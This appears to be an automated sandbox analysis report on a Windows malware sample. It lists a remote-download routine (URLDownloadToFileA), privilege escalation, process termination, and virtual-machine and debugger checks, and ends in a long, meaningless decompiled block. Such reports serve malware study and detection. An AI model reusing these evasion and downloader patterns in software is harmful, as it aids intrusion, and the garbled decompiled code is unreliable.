Opcode ID: 5db106fd8fe89164a4683074e62a5a21e238b2b61434d77a43c37ac808585bb6
Instruction ID: 80463a4929d65f88bb62c6d7506587d1b44305c3c58205fc38c9e757c491522e
Opcode Fuzzy Hash: 5db106fd8fe89164a4683074e62a5a21e238b2b61434d77a43c37ac808585bb6
Instruction Fuzzy Hash: F8A1F2B08083199ADB10DF55C5453DEBBF0BB94304F5089AED588A7381D7B89AC9CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00406E1C Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 58librarysleepfileCOMMON

Download Yara Rule

APIs

LoadLibraryA.KERNEL32 ref: 00406E5C
GetProcAddress.KERNEL32 ref: 00406E79
FreeLibrary.KERNEL32 ref: 00406E8D
DeleteFileA.KERNEL32 ref: 00406EBD
Sleep.KERNEL32 ref: 00406F01

Strings

urlmon.dll, xrefs: 00406E55
URLDownloadToFileA, xrefs: 00406E6E
donzx.dll, xrefs: 00406E9C

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Library$AddressDeleteFileFreeLoadProcSleep
String ID: URLDownloadToFileA$donzx.dll$urlmon.dll
API String ID: 1591209584-4102153241
Opcode ID: 822e4242d846e3181e51de55bcfb4708a5aec733e92b39760985a308414817cb
Instruction ID: 543b2787c70849a237c7d5d5e8862ee058c6e2dedd7614c5b7d168295bf2944d
Opcode Fuzzy Hash: 822e4242d846e3181e51de55bcfb4708a5aec733e92b39760985a308414817cb
Instruction Fuzzy Hash: 1C21FCB09043459BD700EF39D58579ABBF0BB48304F108A7EE98997341E778D998CF9A

Uniqueness

Uniqueness Score: -1.00%

Function 00405256 Relevance: 12.3, APIs: 1, Strings: 6, Instructions: 44COMMON

Download Yara Rule

APIs

GetVersionExA.KERNEL32 ref: 00405272

Strings

fVISta, xrefs: 004052EA
fWinS, xrefs: 00405301
fXp, xrefs: 004052BC
f2003, xrefs: 004052D3
Unk, xrefs: 0040530F
f2000, xrefs: 004052A5

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Version
String ID: Unk$f2000$f2003$fVISta$fWinS$fXp
API String ID: 1889659487-2404033052
Opcode ID: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction ID: e8bb7547553301c142e519b247f3baff17d1b23cd464d4725f64abea95698485
Opcode Fuzzy Hash: 6bafecaaa7aee1d569267c96bf0f5a75bd16ea01fa60e304594bc5b44564bdeb
Instruction Fuzzy Hash: DD118334A11718CACF34AA18891939B72B0EB93349F4441FBD88979690C3B98DC9CE1B

Uniqueness

Uniqueness Score: -1.00%

Function 00404DF4 Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 46COMMON

Download Yara Rule

APIs

GetCurrentProcess.KERNEL32 ref: 00404DFA
OpenProcessToken.ADVAPI32 ref: 00404E11
LookupPrivilegeValueA.ADVAPI32 ref: 00404E36
AdjustTokenPrivileges.ADVAPI32 ref: 00404E89
CloseHandle.KERNEL32 ref: 00404E9E

Strings

(, xrefs: 00404E06

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ProcessToken$AdjustCloseCurrentHandleLookupOpenPrivilegePrivilegesValue
String ID: (
API String ID: 3038321057-3887548279
Opcode ID: f7190b97f58be1d9d2939eabb058490fe92538849b0e57194ebfcb8a28136c74
Instruction ID: 79319732bb30defa6c9a9f1a6b789a97df9146ac2c859e5e9c71adcb6af8603d
Opcode Fuzzy Hash: f7190b97f58be1d9d2939eabb058490fe92538849b0e57194ebfcb8a28136c74
Instruction Fuzzy Hash: 21119BB4904305DBDB00EF69C18579EBBF4BF44348F00892EE884A7385E779D549CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404D3A Relevance: 9.1, APIs: 6, Instructions: 51processstringCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00404D58
Process32First.KERNEL32 ref: 00404D79
strcmp.MSVCRT ref: 00404D92
OpenProcess.KERNEL32 ref: 00404DB4
TerminateProcess.KERNEL32 ref: 00404DCB
Process32Next.KERNEL32 ref: 00404DE0

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: ProcessProcess32$CreateFirstNextOpenSnapshotTerminateToolhelp32strcmp
String ID:
API String ID: 3031566330-0
Opcode ID: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction ID: 382b25c2ad7d0cef6f391bcc669a6196322adae5fe9b19759f67a92d9b3667d2
Opcode Fuzzy Hash: 2f2f5fe6758f399921e03acf2909baea6f39b8887e69680e0eb8b402d680a7dd
Instruction Fuzzy Hash: 4E1133B18043049AD710BF35D98539EBBF8AF84754F00857EED88A3281E7789958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 004060AA Relevance: 7.6, APIs: 5, Instructions: 70memorystringnetworkCOMMON

Download Yara Rule

APIs

DnsQuery_A.DNSAPI ref: 004060E7
GetProcessHeap.KERNEL32 ref: 0040610A
RtlAllocateHeap.NTDLL ref: 00406122
lstrcpy.KERNEL32 ref: 00406144

Part of subcall function 004013D8: HeapFree.KERNEL32 ref: 00401410

GlobalFree.KERNEL32 ref: 00406182

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: Heap$Free$AllocateGlobalProcessQuery_lstrcpy
String ID:
API String ID: 335828720-0
Opcode ID: a388a33b90b2a7703f34e2c123a8a93f25413c95038993b571ca2cebfb53ee2e
Instruction ID: 11d18a1c71fde03939184ec7a539e433b17fdc1711bb96236e21141529c11046
Opcode Fuzzy Hash: a388a33b90b2a7703f34e2c123a8a93f25413c95038993b571ca2cebfb53ee2e
Instruction Fuzzy Hash: 5F2148B09043019BDB00EF65C58476BBBF4BF44354F10893EE894AB382E778D958CB96

Uniqueness

Uniqueness Score: -1.00%

Function 00404990 Relevance: 7.5, APIs: 1, Strings: 4, Instructions: 28stringCOMMON

Download Yara Rule

APIs

strstr.MSVCRT ref: 004049C7

Strings

vbox, xrefs: 004049B0
virtual, xrefs: 0040499B
vmware, xrefs: 004049A2
qemu, xrefs: 004049A9

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: strstr
String ID: qemu$vbox$virtual$vmware
API String ID: 1392478783-2646423876
Opcode ID: c9d4e4dd12de4e295f14a9e62fd40bc20da4a6d1a2aa3fdf2bcdf6fb4d7785e8
Instruction ID: b540962fa618101e36228a8a74583da539d79dad1ba2731ad5b1d3bf9ece319c
Opcode Fuzzy Hash: c9d4e4dd12de4e295f14a9e62fd40bc20da4a6d1a2aa3fdf2bcdf6fb4d7785e8
Instruction Fuzzy Hash: 3DF0A7F4800208CBDB109FA5D8813AF7BA8EB04718F10407ADA54BF7C0D3799D8487D9

Uniqueness

Uniqueness Score: -1.00%

Function 0040814C Relevance: 1.5, APIs: 1, Instructions: 44timeCOMMON

Download Yara Rule

APIs

GetSystemTime.KERNEL32(?,?,?,?,?,?,?,?,?,004083E1), ref: 00408158

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: SystemTime
String ID:
API String ID: 2656138-0
Opcode ID: 45992fab59b789b714cf92c72d24a5becac00f776ba7134a840b1a6c57edf9ba
Instruction ID: 62397ccbaa835f3c60518c82b9829302d3b4a44d16c6782a7ba501dc9b29137d
Opcode Fuzzy Hash: 45992fab59b789b714cf92c72d24a5becac00f776ba7134a840b1a6c57edf9ba
Instruction Fuzzy Hash: 58014C60D0452D89DB10EFAEC5451BEB7F2EF48700F408126E890BA288E67C998AD355

Uniqueness

Uniqueness Score: -1.00%

Function 00404AB8 Relevance: 1.5, APIs: 1, Instructions: 14
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00404AB8() {
				signed char _t3;

				_t3 = 0;
				if(IsDebuggerPresent() != 0) {
					_t3 = 1;
				}
				return _t3 & 0x000000ff;
			}

0x00404abf
0x00404ac8
0x00404aca
0x00404aca
0x00404ad4

APIs

IsDebuggerPresent.KERNEL32(004040B2), ref: 00404AC1

Memory Dump Source

Source File: 00000000.00000002.315600305.0000000000401000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.315594750.0000000000400000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315638800.0000000000419000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315650668.000000000041C000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315656678.000000000041D000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315661415.000000000041E000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.315665943.000000000041F000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_ydbWyoxHsd.jbxd

Similarity

API ID: DebuggerPresent
String ID:
API String ID: 1347740429-0
Opcode ID: e7a5aad3decc5595e0085427251ddfb25943da0c25b2f4dd4e54ea83f630c786
Instruction ID: ae9a913412494098cb72223140141d55c0ad5dcb9cb6441feee08d4656a6771e
Opcode Fuzzy Hash: e7a5aad3decc5595e0085427251ddfb25943da0c25b2f4dd4e54ea83f630c786
Instruction Fuzzy Hash: ACC09BE16D52191D790031A73D43463775C446127AB0C1237ED4D593C1E41FF52851BF

Uniqueness

Uniqueness Score: -1.00%

Function 1000A000 Relevance: .8, Instructions: 811
COMMONCrypto

Download Yara Rule

C-Code - Quality: 72%

			E1000A000() {
				signed int* _t108;
				intOrPtr* _t121;
				intOrPtr* _t122;
				intOrPtr* _t123;
				signed char _t124;
				intOrPtr* _t126;
				intOrPtr* _t127;
				signed char _t128;
				intOrPtr* _t129;
				signed int* _t133;
				signed char* _t134;
				signed char _t136;
				signed int _t139;
				signed int _t140;
				signed char _t142;
				signed char _t143;
				signed char _t144;
				signed char _t146;
				void* _t147;
				signed char _t148;
				signed int _t149;
				signed int* _t150;
				signed int _t151;
				unsigned char* _t152;
				signed int _t153;
				signed int _t155;
				void* _t156;
				signed int _t163;
				signed int* _t164;
				signed int* _t165;
				signed int* _t168;
				signed int* _t169;
				signed int* _t171;
				signed int _t172;
				signed int* _t176;
				signed int _t177;
				signed int* _t178;
				signed int* _t179;
				signed int* _t183;
				signed int _t186;
				signed int _t188;
				signed int _t190;
				void* _t191;
				signed int _t192;
				signed int _t193;
				intOrPtr _t195;
				void* _t196;
				intOrPtr _t200;
				signed int* _t201;
				signed int* _t202;
				intOrPtr _t204;
				signed int _t205;
				signed int _t206;
				signed int _t207;
				signed int _t211;
				intOrPtr _t218;
				intOrPtr _t220;
				void* _t223;
				signed int _t225;
				void* _t226;
				signed char _t228;
				intOrPtr _t230;
				intOrPtr _t231;
				intOrPtr _t234;
				void* _t250;
				signed long long _t260;

				_t107 = 0;
				 *0 =  *0;
				 *_t134 =  *_t134 << 1;
				 *_t134 =  *_t134;
				_t136 =  &(_t134[2]);
				if(_t136 == 0) {
					L17:
					if(_t168 == 0) {
						L38:
						asm("arpl [gs:edi+ebp*2+0x72], si");
						if(_t177 >= 0) {
							L53:
							asm("popad");
							asm("insb");
							_t151 = _t151 + 1;
							_t186 = _t151;
							L54:
							if(_t186 < 0) {
								asm("gs outsb");
								_t136 = _t136 + 1;
								 *_t107 =  *_t107 + _t107;
								_t153 = 0xb4000000;
								if ( *_t107 >= 0) goto L82;
								 *_t136 =  *_t136 + _t107;
								_push(_t148);
								asm("a16 inc ebx");
								asm("insb");
								asm("outsd");
								if( *_t136 >= 0) {
									L113:
									_pop(_t150);
									L114:
									_t153 = _t150[0x18] * 0x62610100;
									_t211 = _t153;
									asm("outsd");
									if(_t211 < 0) {
										if(_t226 == 0) {
											L160:
											if(_t234 >= 0) {
												L177:
												_t107 = _t107 ^ _t148;
												 *(_t148 + 0x10) =  *(_t148 + 0x10) ^ _t107;
												asm("adc ebx, [ebp+0x3636361f]");
												ds = ss;
												 *[ss:eax] =  *[ss:eax] - _t136;
												L179:
												 *[ss:eax] =  *[ss:eax] - _t136;
												 *_t107 =  *_t107 - _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												 *_t107 =  *_t107 | _t136;
												asm("adc [0xa1b190b], ecx");
												asm("adc [ebx], ecx");
												asm("sbb [0x1206180b], edx");
												asm("das");
												asm("aaa");
												asm("adc al, 0x5");
												_push(cs);
												asm("das");
												asm("sbb [ecx], bl");
												_push(ss);
												_push(ss);
												asm("invd");
												 *_t107 =  *_t107 | _t136;
												asm("wbinvd");
												 *_t133 =  *_t133 | _t148;
												_t108 = _t107 + 0xb0b0b2b;
												_t139 = _t136 |  *0xc050c41 |  *_t133 |  *_t108;
												_t149 = _t148 |  *_t133;
												 *_t133 =  *_t133 & _t149;
												 *_t108 =  *_t108 | _t139;
												_t152 = _t151 - 1;
												asm("adc [edi], bl");
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												 *_t108 =  *_t108 | _t139;
												asm("sbb dh, al");
												_t121 =  &(_t108[0xe]);
												 *((intOrPtr*)(_t121 + 0x45)) =  *((intOrPtr*)(_t121 + 0x45)) + _t149;
												 *_t121 =  *_t121 + _t121;
												_t156 = _t155 - 1;
												 *_t150 =  *_t150 + _t121;
												_t133[0x12fd3f] = _t133 + _t133[0x12fd3f];
												 *_t121 =  *_t121 + _t121;
												 *_t121 =  *_t121 + _t121;
												 *_t121 =  *_t121 + _t121;
												_t122 = _t121 + _t121;
												 *_t152 =  *_t152 + _t139;
												_t140 = _t139 &  *_t133;
												 *_t149 =  *_t149 + _t122;
												 *_t122 =  *_t122 - _t122;
												 *_t122 =  *_t122 + _t122;
												 *_t122 =  *_t122 + _t122;
												_t123 = _t122 +  *_t122;
												 *((intOrPtr*)(_t123 + 0x10)) =  *((intOrPtr*)(_t123 + 0x10)) + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t149;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												 *_t123 =  *_t123 + _t123;
												asm("adc [eax], al");
												asm("adc [eax], al");
												 *_t123 =  *_t123 + _t123;
												_t124 = _t123 +  *_t123;
												 *((intOrPtr*)(_t124 + _t124)) =  *((intOrPtr*)(_t124 + _t124)) + _t124;
												 *_t124 =  *_t124 + _t124;
												 *_t124 =  *_t124 + _t124;
												 *_t124 =  *_t124 + _t124;
												_t125 = _t124;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x4000000)) =  *((intOrPtr*)(_t125 + 0x4000000)) + _t125;
												 *_t125 =  *_t125 + _t125;
												asm("pcmpeqd mm0, [eax]");
												 *_t133 =  *_t133 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												asm("adc [eax], al");
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												asm("adc [eax], al");
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												if ( *_t125 < 0) goto L181;
												 *((intOrPtr*)(_t125 + 3)) =  *((intOrPtr*)(_t125 + 3)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x72c0000)) =  *((intOrPtr*)(_t125 + 0x72c0000)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + 0x1dc0000)) =  *((intOrPtr*)(_t125 + 0x1dc0000)) + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												_t250 =  *_t125;
												if(_t250 == 0) {
													L187:
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													_t126 = _t125 + 1;
													 *_t126 =  *_t126 + _t149;
													_t125 = _t126 + 1;
													asm("bound esi, [cs:ebx+0x73]");
													L188:
													asm("bound esi, [ebx+0x73]");
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													_push(_t156);
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													asm("pushad");
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													L189:
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + _t125;
													 *_t125 =  *_t125 + 0x40;
													 *_t152 =  *_t152 >> 0x65;
													asm("popad");
													if( *_t152 == 0) {
														L194:
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t149 =  *_t149 ^ _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														L192:
														 *_t149 =  *_t149 + _t149;
														 *_t125 =  *_t125 + _t125;
														L193:
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *(_t125 + 0x2e) =  *(_t125 + 0x2e) ^ _t125;
														_pop(es);
														 *_t125 =  *_t125 + _t125;
														 *((intOrPtr*)(_t125 + 0x8000000)) =  *((intOrPtr*)(_t125 + 0x8000000)) + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t152 =  *_t152 + _t149;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														_t127 = _t125 + 1;
														 *_t127 =  *_t127 + _t149;
														 *_t152 =  *_t152 >> 0x72;
														asm("gs insb");
														asm("outsd");
														asm("arpl [eax], ax");
														_t125 = _t127 + _t133;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t149 =  *_t149 + _t125;
														 *_t125 =  *_t125 + _t125;
														 *_t152 = _t133 +  *_t152;
														 *_t125 =  *_t125 + _t125;
														goto L194;
													}
													 *_t125 =  *_t125 + _t125;
													asm("pushad");
													_t128 = _t125 +  *_t125;
													 *_t128 =  *_t128 + _t128;
													if ( *_t128 < 0) goto L191;
													 *_t128 =  *_t128 + _t128;
													_t125 = _t128;
													 *_t125 =  *_t125 + _t125;
													goto L192;
												}
												if(_t250 < 0) {
													goto L188;
												}
												 *_t125 =  *_t125 + _t125;
												 *_t152 =  *_t152 + _t140;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t149;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t140;
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + _t125)) =  *((intOrPtr*)(_t125 + _t125)) + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												 *_t125 =  *_t125 + _t125;
												_push(_t125);
												asm("pushad");
												asm("popad");
												if( *_t125 == 0) {
													goto L189;
												}
												 *_t125 =  *_t125 + _t125;
												 *((intOrPtr*)(_t125 + _t125)) =  *((intOrPtr*)(_t125 + _t125)) + _t149;
												 *_t125 =  *_t125 + _t125;
												_t129 = _t125 + 1;
												 *_t129 =  *_t129 + _t129;
												 *_t149 =  *_t149 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *((intOrPtr*)(_t129 + _t129)) =  *((intOrPtr*)(_t129 + _t129)) + _t140;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												 *_t129 =  *_t129 + _t129;
												_t125 = 0;
												if(0 < 0) {
													goto L193;
												}
												asm("popad");
												if(0 == 0) {
													goto L193;
												}
												 *((intOrPtr*)(0)) =  *((intOrPtr*)(0));
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + _t149;
												 *((intOrPtr*)(0xfffffffffffffffd)) =  *((intOrPtr*)(0xfffffffffffffffd)) + 0xfffffffffffffffd;
												_t125 = 0xfffffffffffffffd;
